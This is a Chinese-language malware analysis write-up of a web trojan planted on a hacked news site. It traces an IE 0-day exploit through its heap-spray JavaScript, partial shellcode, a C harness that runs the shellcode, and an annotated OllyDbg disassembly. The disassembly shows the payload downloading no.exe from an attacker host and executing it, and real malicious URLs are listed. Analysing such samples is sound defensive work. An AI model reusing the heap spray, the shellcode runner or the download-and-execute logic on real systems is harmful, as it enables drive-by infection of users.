|
【标题】:Ie0dayCVE0806网马样本分析 【作者】:泉哥(http://riusksk.blogbus.com)
分析工具:
MDecoder 0.66
EditPlus 3.01
FreShow
VC 6.0
OllyDbg 1.10 样本来源:
网站(安徽新闻网)被黑客植入木马 http://log.mtian.net/?p=1152001 分析结果: Log By Mdecoder
[root]http://www.ah.chinanews.com.cn/GuestBook/Images/con.wtxlj871/wenda./lpt9.mqhna976.asp(长安汽车这支股票怎么样?以后怎么样?--股票--)
[exp]http://1029a9.3322.org:225/yy2/index.htm(Exploit.Ie0dayCVE0806.a)
[script]http://1029a9.3322.org:225/yy2/mj.js
[virus]http://231ad.3322.org:225/yy2/no.exe
[exp]http://1029a9.3322.org:225/yy2/index.htm(Exploit.Ie0dayCVE0806.a)
[exp]http://1029a9.3322.org:225/yy2/index.htm(Exploit.Ie0dayCVE0806.a)
[script]http://js.160ads.com/i.js
[script]http://js.160ads.com/+s(sr)+
[iframe]http://js.160ads.com/+s(sr)+ 代码分析: 挂马方式:
Exploit代码分析: Index.htm:
//设置隐藏按钮
//挂上恶意脚本http://1029a9.3322.org:225/yy2/mj.js
mj.js:
function auc2(){
a3=new Array(); //创建一数组对象array,而这些动态申请到的对象/变量都会被分配到堆中
var a5=0x86000-(a4.length*2); // 536KB减去shellcode字节数,主要用于计算每一喷射块除shellcode之外还需要多少字节需要用nop填充
var LFlwBa=unescape('%u0c0c%u0c0c');
while(LFlwBa.length
LFlwBa+=LFlwBa; //将每一喷射块中除shellcode外均用0c0c0c0c填充
};
var a6=LFlwBa.substring(0,a5/2);
delete LFlwBa;
for(i=0;i<270;i++){
a3[i]=a6+a6+a4; ////用一连串包括shellcode的喷射块去填充内存以实现heap spary
}
}
Shellcode 分析
先将shellcode部分去除连接符“+”,然后用FreShow执行ESC解码:
\x58\x58\x58\x58\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\xB8\x03\x80\x34\x0B\xBD\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF\x54\xd9\x93\x8e\x8e\x8f\x8f\x93\xd2\xcf\xda\x87\x8f\x92\xd3\xd2\x93\xd8\xc5\xd8\xbd\xbd\xbd\xEA……省略部分内容……\xEA\xEA\xEA\xEA\xEA\xEA\xEA
用VC编写以下代码:
int main()
{
char shellcode[]="\x58\x58\x58\x58\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\xB8\x03\x80\x34\x0B\xBD\xE2\xFA\xEB\x05\xE8\xEB\xFF\ \xBC\xE4\x55\xF2\xBF\xBD\xBD\x5F\x44\x3C\x51\xBD\xBC\xBD\xBD\x36\x61……省略部分内容……\xBD\xBD\xD7\xBD\xD7\xA7\x8c\xdc\xd9\x93\x8e\x8e\x8f\x8f\x93\xd2\xcf\xda\x87\x8f\x8f\x88\x92\xc4\xc4\x8f\x92\xd3\xd2\x93\xd8\xc5\xd8\xbd\xbd\xbd\xEA\xEA\xEA\xEA\xEA\xEA\xEA\xEA";
__asm{
lea eax,shellcode
push eax
ret
}
return 0;
}
用VC编译成程序,然后用OD加载逆向分析,F8到shellcode后来到:
0012FBAC 58 POP EAX
0012FBAD 58 POP EAX
0012FBAE 58 POP EAX
0012FBAF 58 POP EAX
0012FBB0 EB 10 JMP SHORT 0012FBC2
0012FBB2 5B POP EBX
0012FBB3 4B DEC EBX
0012FBB4 33C9 XOR ECX,ECX
0012FBB6 66:B9 B803 MOV CX,3B8
0012FBBA 80340B BD XOR BYTE PTR DS:[EBX+ECX],0BD ; 循环异或解密后面的关键代码
0012FBBE ^ E2 FA LOOPD SHORT 0012FBBA
0012FBC0 EB 05 JMP SHORT 0012FBC7
0012FBC2 E8 EBFFFFFF CALL 0012FBB2 ; 必须F7跟进,否则结束进程
0012FBC7 E9 1E030000 JMP 0012FEEA ;无实际操作意义,相当于花指令,同时具有反调试作用,遇到call须单步跟进
0012FBCC 5F POP EDI
0012FBCD 64:A1 30000000 MOV EAX,DWORD PTR FS:[30] ; PEB结构
0012FBD3 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C] ; PEB_LDR_DATA结构
0012FBD6 8B70 1C MOV ESI,DWORD PTR DS:[EAX+1C] ; InInitializationOrderModuleList
0012FBD9 AD LODS DWORD PTR DS:[ESI] ; 指向kernel32.dll模块
0012FBDA 8B68 08 MOV EBP,DWORD PTR DS:[EAX+8] ; kernel32基址
0012FBDD 8BF7 MOV ESI,EDI
0012FBDF 6A 11 PUSH 11
0012FBE1 59 POP ECX ; ecx=0x11,相当于要循环获取17个函数地址
0012FBE2 E8 BE020000 CALL <_GetFunAddr> ; 获取函数地址,跟进此函数
{
0012FEA5 > 51 PUSH ECX
0012FEA6 56 PUSH ESI
0012FEA7 8B75 3C MOV ESI,DWORD PTR SS:[EBP+3C] ; PE头
0012FEAA 8B742E 78 MOV ESI,DWORD PTR DS:[ESI+EBP+78] ; 输出表RVA
0012FEAE 03F5 ADD ESI,EBP ; 输出表绝对地址
0012FEB0 56 PUSH ESI
0012FEB1 8B76 20 MOV ESI,DWORD PTR DS:[ESI+20] ; 函数名称表RVA
0012FEB4 03F5 ADD ESI,EBP ; 函数名称表绝对地址
0012FEB6 33C9 XOR ECX,ECX ; 计数器
0012FEB8 49 DEC ECX
0012FEB9 41 INC ECX ; 递增计数器,用于寻找下个函数名
0012FEBA AD LODS DWORD PTR DS:[ESI] ; 第一个函数名RVA
0012FEBB 03C5 ADD EAX,EBP ; 第一个函数名的绝对地址
0012FEBD 33DB XOR EBX,EBX
0012FEBF 0FBE10 MOVSX EDX,BYTE PTR DS:[EAX] ; 循环获取函数名的各个字符,直至遇到回车符0x0D
0012FEC2 3AD6 CMP DL,DH
0012FEC4 74 08 JE SHORT 0012FECE
0012FEC6 C1CB 07 ROR EBX,7 ; 对函数名进行hash运算,以简便后面函数搜索的过程
0012FEC9 03DA ADD EBX,EDX
0012FECB 40 INC EAX
0012FECC ^ EB F1 JMP SHORT 0012FEBF
0012FECE 3B1F CMP EBX,DWORD PTR DS:[EDI] ; 寻找匹配的函数名的hash值
0012FED0 ^ 75 E7 JNZ SHORT 0012FEB9
0012FED2 5E POP ESI
0012FED3 8B5E 24 MOV EBX,DWORD PTR DS:[ESI+24] ; 函数序号表RVA
0012FED6 03DD ADD EBX,EBP ; 函数序号表绝对地址
0012FED8 66:8B0C4B MOV CX,WORD PTR DS:[EBX+ECX*2] ; 寻找当前匹配函数的序号值
0012FEDC 8B5E 1C MOV EBX,DWORD PTR DS:[ESI+1C] ; 函数地址表RVA
0012FEDF 03DD ADD EBX,EBP ; 函数地址表绝对地址
0012FEE1 8B048B MOV EAX,DWORD PTR DS:[EBX+ECX*4] ; 获取当前匹配函数的RVA
0012FEE4 03C5 ADD EAX,EBP ; 当前匹配函数的绝对地址
0012FEE6 AB STOS DWORD PTR ES:[EDI] ; edi=函数地址
0012FEE7 5E POP ESI
0012FEE8 59 POP ECX
0012FEE9 C3 RETN
}
0012FBE7 90 NOP
0012FBE8 ^ E2 F8 LOOPD SHORT 0012FBE2 ; 循环获取以下函数的地址:GetModuleHandleA、GetTempPathA、CreateProcessInternalA、LoadLibraryA、GetProcAddress、ExitProcess、GetCurrentThreadId、Sleep、VirtualProtect、CreateFileA、GetFileSize、CreateFileMappingA、WriteFile、CloseHandle、SetFilePointer、MapViewOfFile、UnmapViewOfFile
0012FBEA 68 33320000 PUSH 3233
0012FBEF 68 55736572 PUSH 72657355 ; "User32"
0012FBF4 54 PUSH ESP
0012FBF5 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] ; kernel32.LoadLibraryA
0012FBF8 E8 BE010000 CALL <_CallEAX> ; 调用eax
0012FBFD 8BE8 MOV EBP,EAX
0012FBFF 6A 05 PUSH 5
0012FC01 59 POP ECX ; ecx=0x5,计数器
0012FC02 E8 9E020000 CALL <_GetFunAddr> ; 循环获取以下函数地址:EnumWindows、GetClassNameA、GetWindowThreadProcessId、DestroyWindow、MessageBeep
0012FC07 ^ E2 F9 LOOPD SHORT 0012FC02
0012FC09 68 6F6E0000 PUSH 6E6F
0012FC0E 68 75726C6D PUSH 6D6C7275 ; "urlmon"
0012FC13 54 PUSH ESP
0012FC14 FF16 CALL DWORD PTR DS:[ESI]
0012FC16 85C0 TEST EAX,EAX
0012FC18 75 13 JNZ SHORT 0012FC2D
0012FC1A 68 6F6E0000 PUSH 6E6F
0012FC1F 68 75726C6D PUSH 6D6C7275 ; "urlmon"
0012FC24 54 PUSH ESP
0012FC25 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] ; kernel32.LoadLibraryA
0012FC28 E8 8E010000 CALL <_CallEAX>
0012FC2D 8BE8 MOV EBP,EAX
0012FC2F 6A 01 PUSH 1
0012FC31 59 POP ECX
0012FC32 E8 6E020000 CALL <_GetFunAddr> ; 获取URLDownloadToFileA 函数地址
0012FC37 ^ E2 F9 LOOPD SHORT 0012FC32
0012FC39 68 6C333200 PUSH 32336C
0012FC3E 68 7368656C PUSH 6C656873 ; "shell32"
0012FC43 54 PUSH ESP
0012FC44 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] ; kernel32.LoadLibraryA
0012FC47 E8 6F010000 CALL <_CallEAX>
0012FC4C 8BE8 MOV EBP,EAX
0012FC4E 6A 01 PUSH 1
0012FC50 59 POP ECX
0012FC51 E8 4F020000 CALL <_GetFunAddr> ; 获取SHGetSpecialFolderPathA 地址
0012FC56 ^ E2 F9 LOOPD SHORT 0012FC51
0012FC58 81EC 00010000 SUB ESP,100
0012FC5E 8BDC MOV EBX,ESP
0012FC60 81C3 80000000 ADD EBX,80
0012FC66 6A 00 PUSH 0
0012FC68 6A 1A PUSH 1A
0012FC6A 53 PUSH EBX
0012FC6B 6A 00 PUSH 0
0012FC6D FF56 5C CALL DWORD PTR DS:[ESI+5C] ; shell32.SHGetSpecialFolderPathA,获取路径C:\Documents and Settings\当前用户名\Application Data
0012FC70 33C0 XOR EAX,EAX
0012FC72 40 INC EAX
0012FC73 803C03 00 CMP BYTE PTR DS:[EBX+EAX],0 ; 计算路径字符串的长度,并保存在eax中
0012FC77 ^ 75 F9 JNZ SHORT 0012FC72
0012FC79 C70403 5C662E65 MOV DWORD PTR DS:[EBX+EAX],652E665C
0012FC80 C74403 04 78650>MOV DWORD PTR DS:[EBX+EAX+4],6578 ; "\f.exe"
0012FC88 33C9 XOR ECX,ECX
0012FC8A 51 PUSH ECX
0012FC8B 51 PUSH ECX
0012FC8C 53 PUSH EBX ; C:\Documents and Settings\Administrator\Application Data\f.exe
0012FC8D 57 PUSH EDI ; ASCII "http://231ad.3322.org:225/yy2/no.exe"
0012FC8E 51 PUSH ECX
0012FC8F 33C0 XOR EAX,EAX
0012FC91 8B46 58 MOV EAX,DWORD PTR DS:[ESI+58] ; urlmon.URLDownloadToFileA,下载恶意程序
0012FC94 E8 22010000 CALL <_CallEAX>
0012FC99 83F8 00 CMP EAX,0
0012FC9C E9 A3000000 JMP 0012FD44
跳转后来到这里:
0012FD44 8BFB MOV EDI,EBX
0012FD46 33C0 XOR EAX,EAX
0012FD48 33DB XOR EBX,EBX
0012FD4A 81EC 00020000 SUB ESP,200
0012FD50 8BCC MOV ECX,ESP
0012FD52 83F8 54 CMP EAX,54
0012FD55 7D 08 JGE SHORT 0012FD5F
0012FD57 891C01 MOV DWORD PTR DS:[ECX+EAX],EBX ; 对[ecx+eax]中的0x50字节空间进行清零操作,以作为参数被后面的函数调用
0012FD5A 83C0 04 ADD EAX,4
0012FD5D ^ EB F3 JMP SHORT 0012FD52
0012FD5F 8BCC MOV ECX,ESP
0012FD61 8BD9 MOV EBX,ECX
0012FD63 83C3 10 ADD EBX,10
0012FD66 33C0 XOR EAX,EAX
0012FD68 50 PUSH EAX
0012FD69 51 PUSH ECX
0012FD6A 53 PUSH EBX
0012FD6B 50 PUSH EAX
0012FD6C 50 PUSH EAX
0012FD6D 50 PUSH EAX
0012FD6E 50 PUSH EAX
0012FD6F 50 PUSH EAX
0012FD70 50 PUSH EAX
0012FD71 57 PUSH EDI ; ASCII "C:\Documents and Settings\Administrator\Application Data\f.exe"
0012FD72 50 PUSH EAX
0012FD73 50 PUSH EAX
0012FD74 FF56 08 CALL DWORD PTR DS:[ESI+8] ; kernel32.CreateProcessInternalA,执行下载的恶意程序f.exe
|